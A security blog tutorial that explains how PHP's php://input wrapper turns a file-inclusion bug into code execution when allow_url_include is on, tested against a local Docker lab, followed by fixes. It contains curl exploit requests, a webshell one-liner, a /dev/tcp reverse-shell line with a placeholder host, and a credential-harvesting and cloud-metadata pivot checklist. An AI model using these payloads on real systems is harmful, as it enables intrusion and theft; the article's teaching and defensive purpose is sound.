TechEarl

php://input LFI-to-RCE: When allow_url_include Turns a File Read into Code Execution

Ishan Karunaratne⏱️ 11 min readUpdated
Share thisCopied
php://input LFI to RCE attack chain

The shortest LFI-to-RCE chain in PHP is a single GET parameter plus a POST body. No log file to poison, no upload directory to find, no race window to win. The application's include() sink reads the wrapper php://input as a stream, the wrapper hands back the raw POST body, and the engine parses the body as PHP source and runs it. The whole chain is two HTTP requests and one misconfigured php.ini directive.

This article is the variant deep dive sitting under the path traversal and LFI guide. The parent covers the four exploit shapes at a survey level; this one walks the php://input shape end to end against the same Dockerised lab, documents the preconditions that have to line up, and explains why the directive that gates the attack still ships flipped on in legacy deployments that should know better.

TL;DR

php://input is a stream wrapper PHP exposes for reading the raw body of the current request. It is a legitimate API for frameworks that need to parse a JSON or XML POST body before PHP's form-parser eats it. The dangerous combination is include('php://input'), which happens when an LFI sink lets the attacker swap the included filename for the wrapper string. With allow_url_include=On set in php.ini, the include reads the POST body, the engine parses it as PHP, and any code in the body runs under the web user. allow_url_include has defaulted to Off since PHP 5.2 and the directive itself was deprecated in PHP 7.4, so a fresh modern install is safe by default. The chain still appears in the wild because operators flip the directive on while debugging a legitimate use (template engines, plugin loaders, side-loaded source) and never flip it back. The wrapper path also has to match literally; an LFI sink that appends .php to user input produces php://input.php, which the wrapper does not recognise, and the chain dies. Defence: leave allow_url_include=Off, never let user input reach an include path, and if you absolutely must allow URL include, allow-list the schemes explicitly.

What php://input is

php://input is one of the stream wrappers built into the PHP runtime, documented in the supported wrappers reference. Stream wrappers let fopen, file_get_contents, include, and the other filesystem functions operate on something that is not a real file on disk: an HTTP URL, a compressed archive, an in-memory string, a filter chain, or in this case the body of the current HTTP request.

When PHP code calls file_get_contents('php://input') or fopen('php://input', 'r'), the runtime returns a read-only stream over the raw request body. Frameworks reach for this when they want to parse a JSON or XML payload without having PHP's form-encoded body parser consume the body first. It is a perfectly normal feature with a perfectly normal use case.

The dangerous combination is include('php://input'). include() reads the file (or stream) named by its argument and parses the bytes as PHP source. It is the same code path that runs every require_once 'config.php' in your application. If the bytes coming back from the stream start with <?php, the engine switches into PHP mode and executes them. There is no second interpretation of what an include() call does; it runs the file.

Combine the two and the attacker's POST body is now source code that the engine compiles and runs. The body of the request the attacker controls becomes the program PHP executes.

The preconditions

Three things have to line up before this chain fires. Miss any one of them and the attack falls back to a less convenient shape.

1. An LFI sink the attacker can reach

The application has to call include, require, include_once, or require_once with a path that contains user-controlled input. The canonical shape is two lines, both of which I have seen verbatim in real codebases this decade:

php
$page = $_GET['page'];
include($page);

That is the classic LFI sink from the parent article. Without an include sink whose path is user-controlled, there is nothing for php://input to attach to. file_get_contents('php://input') reads the body but does not execute it; only include/require do the parsing step.

2. allow_url_include = On

The php.ini directive allow_url_include gates whether include and require accept stream wrappers other than the plain filesystem. The default is Off, and PHP has shipped that default since 5.2 (released November 2006). On a default install, include('php://input') fails with a warning along the lines of URL file-access is disabled in the server configuration, and the include returns without running anything.

The directive turns into the foothold when an operator flips it to On. The reasons I have seen in postmortems are always the same shape: a template engine or plugin loader needed to side-load code from a http:// URL during development, someone toggled allow_url_include=On to unblock it, the immediate problem got solved, the directive never got toggled back. The server then ran with the unsafe setting for years until someone like me showed up for an engagement and discovered an old LFI primitive escalating cleanly to RCE.

allow_url_fopen is a separate directive that gates URL access in the read-only family (fopen, file_get_contents, etc.) and defaults to On. The php://input wrapper does not require allow_url_fopen because the input stream is local to the request, not a network fetch; it is the include path that requires allow_url_include. Treat the two as independent and disable both unless you have a documented reason not to.

3. The wrapper path has to match exactly

This is the precondition the most exploit writeups skip and the one that determines which sink shape the chain works against.

php://input works as a stream identifier when the path passed to include() is the literal string php://input and nothing else. The wrapper does not parse the path as a filename with an extension; it matches the scheme prefix literally. A sink shaped like include($_GET['page'] . '.php') constructs the string php://input.php when the attacker sets page=php://input, and php://input.php is not a wrapper the runtime recognises. The include falls through to the filesystem, finds no such file, and the chain dies with a "failed to open stream" warning.

This is why the lab's two endpoints behave differently against the same payload:

EndpointSink shapepage=php://input becomesphp://input chain
/view-raw.phpinclude($_GET['page'])php://inputworks
/view.phpinclude($_GET['page'] . '.php')php://input.phpfails

The suffix-appending sink that the parent article shows as defeatable by php://filter is the sink that resists php://input. The filter wrapper carries its target file inside a resource= argument and happily lets the appended .php ride along; the input wrapper has no equivalent argument syntax. The two wrappers attack two different sink shapes and that is by design.

I document this honestly because the assumption "if php://filter worked, php://input will work too" is wrong, and an offensive engagement that burns half a day testing the wrong wrapper against the wrong sink is a recurring rookie mistake.

The exploit, end to end

Boot the lfi-basic target from the techearl-labs companion repo:

bash
docker compose up lfi-basic

The lab listens on http://localhost:8084 and ships with allow_url_include=On in its php.ini override, so the precondition is satisfied by construction. The raw sink at /view-raw.php is the target.

Confirm the wrapper works

Start with the most innocuous payload possible. POST a body that calls phpinfo() and check the response:

bash
curl -X POST --data '<?php phpinfo(); ?>' \
  'http://localhost:8084/view-raw.php?page=php://input'

The response body contains the full phpinfo() output: PHP version, loaded extensions, the active php.ini settings (including allow_url_include = On), the SAPI environment. That is the proof the wrapper fired and the engine parsed the POST body as PHP. Save the output, the phpinfo() dump is also the cheapest reconnaissance you will ever do against a PHP target.

Pop a shell

Same shape, different payload:

bash
curl -X POST --data '<?php echo shell_exec("id"); ?>' \
  'http://localhost:8084/view-raw.php?page=php://input'

Response contains uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm) or similar, depending on which user the container runs as. Code execution under the web process is confirmed.

The ?> closing tag is optional in PHP and I omit it in production source, but I keep it in exploit payloads because some sink shapes choke on a body that does not end cleanly.

Pop the suffix sink does not, for the record

Against /view.php the exact same payload fails:

bash
curl -X POST --data '<?php echo shell_exec("id"); ?>' \
  'http://localhost:8084/view.php?page=php://input'

The response surfaces a failed to open stream warning (because display_errors=On in the lab), confirming the wrapper-name match failed. This is the case where the chain has to fall back to either php://filter (for source disclosure) or log poisoning (for execution), both covered as their own variant articles.

What attackers do once code execution lands

The php://input chain is the foothold, not the whole engagement. What follows is the same playbook for any unauthenticated PHP RCE primitive:

  • Drop a persistent webshell into the docroot, so the chain does not need to be re-triggered for every command. A one-liner like <?php system($_GET['c']); ?> written to a docroot-accessible path becomes a long-lived command channel.
  • Catch a reverse shell to a listener the attacker controls. The classic one-liner is bash -i >& /dev/tcp/<ip>/<port> 0>&1, invoked via shell_exec. Promotes an HTTP-bounded primitive to an interactive shell.
  • Mine credentials. Read every .env file, every config.php, every wp-config.php, every database.yml. Read /proc/self/environ for environment variables the process inherited. The hard-coded credentials inside the application are usually higher-value than the application itself.
  • Pivot. Use the web user's database access to dump user tables, the file-write to plant a second-stage payload, and any cloud metadata service (169.254.169.254 on AWS, EC2, GCP) the container can reach to escalate from web-tier RCE to infrastructure access.

The chain's value is not the id output; the chain's value is that one GET parameter and one POST body are enough to reach every secret the application owner thought was protected. Defence has to be at the sink, not at the post-exploitation layer.

The fix

The fix is layered, and the layers stack from most-important to least-important.

Leave allow_url_include Off

This is the directive that gates the entire chain. On a default install it is already Off. If your php.ini has it On, find the engineer who flipped it and find out what they were debugging, fix that need a different way, then toggle the directive back to Off and redeploy:

ini
; php.ini
allow_url_include = Off
allow_url_fopen   = Off

Setting allow_url_fopen=Off as well removes the broader URL-fetch surface that other wrappers (http://, https://, ftp://) expose to file_get_contents and friends. Some frameworks legitimately need allow_url_fopen, in which case leave it On and rely on the allow_url_include toggle alone; the input-wrapper RCE chain only needs the latter.

Do not let user input reach an include path

The directive setting is defence in depth. The primary defence is not having a user-controlled string flow into include in the first place. The allow-list pattern from the parent guide is the only design that is correct by construction:

php
$pages = [
  'about'   => '/srv/app/pages/about.php',
  'contact' => '/srv/app/pages/contact.php',
];
$key = $_GET['page'] ?? 'about';
if (!isset($pages[$key])) { http_response_code(404); exit; }
include($pages[$key]);

The user controls a key into a map, not a path. An attacker asking for ?page=php://input produces a 404 because php://input is not a key. No wrapper, filter, or directive flag matters at that point; the sink is shaped right.

Restrict the include path

If for some reason a path has to be constructed dynamically (a templating engine that supports user-installable templates, say), apply the resolve-and-prefix-check pattern from the parent and pin open_basedir to a tight allow-list:

ini
open_basedir = /srv/app:/tmp

open_basedir confines filesystem access to the listed directories. It does not block the php://input wrapper (the input stream is request-local, not a filesystem path), but it does block the rest of the wrapper family from reaching anywhere interesting. Treat it as belt and braces, not as the primary defence.

Watch for the legitimate uses

Some applications genuinely need to read php://input as data, for example to parse a JSON POST body before invoking a handler. That is fine; file_get_contents('php://input') returns a string, and the string is not executed unless someone hands it to an interpreter. The dangerous pattern is include('php://input') (or require, include_once, require_once). Grep for those four sinks across the codebase, audit every match, and you have covered the wrapper-as-RCE surface.

Real-world incidents

Tracking incidents that specifically pivot on php://input is harder than tracking general LFI because the technique often gets folded into a generic "remote code execution" CVE description without the wrapper named in the writeup. Three with public detail:

  • Various Joomla extension LFI advisories. Older Joomla deployments shipped extensions whose LFI primitives were chained with the php://input wrapper to reach unauthenticated RCE on installations with allow_url_include=On. The advisories pushed the configuration fix alongside the patch, recognising that the directive setting was the load-bearing precondition.
  • Generic CTF-staple wrapper chains. Walk any HackTheBox or TryHackMe "intermediate web" path and at least one machine per season is built around an LFI primitive escalated via php://input. The CTF community keeps the technique alive in training material, which is one reason it stays in red-team muscle memory long after the underlying directive default changed.
  • Legacy PHP plugin ecosystems. WordPress, Joomla, and Drupal plugin reviewers have flagged allow_url_include=On recommendations in third-party plugin install instructions for years (the plugin needed it for a remote template fetch). Every installation that followed those instructions inherited the precondition, and every LFI in any other plugin on the same host became RCE-eligible.

For the version-specific CVE details, pull the entry from nvd.nist.gov or the project advisory at the time of writing; I would rather link out than stale-date a CVSS score.

Where to go next

php://input is the cleanest LFI-to-RCE primitive PHP exposes, and the only thing standing between it and unauthenticated code execution on any vulnerable include sink is one php.ini directive that has defaulted to safe for nearly two decades. The chain survives in the wild because operators flip the directive on for a specific debug session and forget. The fix is fifteen seconds of editing php.ini and a service reload; the cost of skipping it is the entire box.

Sources

Authoritative references this article was fact-checked against.

Tagslfircephp-inputallow-url-includephp-wrappers

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

How to Show Lines Before and After a grep Match (Context)

grep -C 3 'pattern' file prints the matching line plus 3 lines on each side. The three context flags (-A after, -B before, -C both), how the -- group separator works between match blocks, asymmetric context, recursive context search, and the macOS BSD vs GNU differences that bite.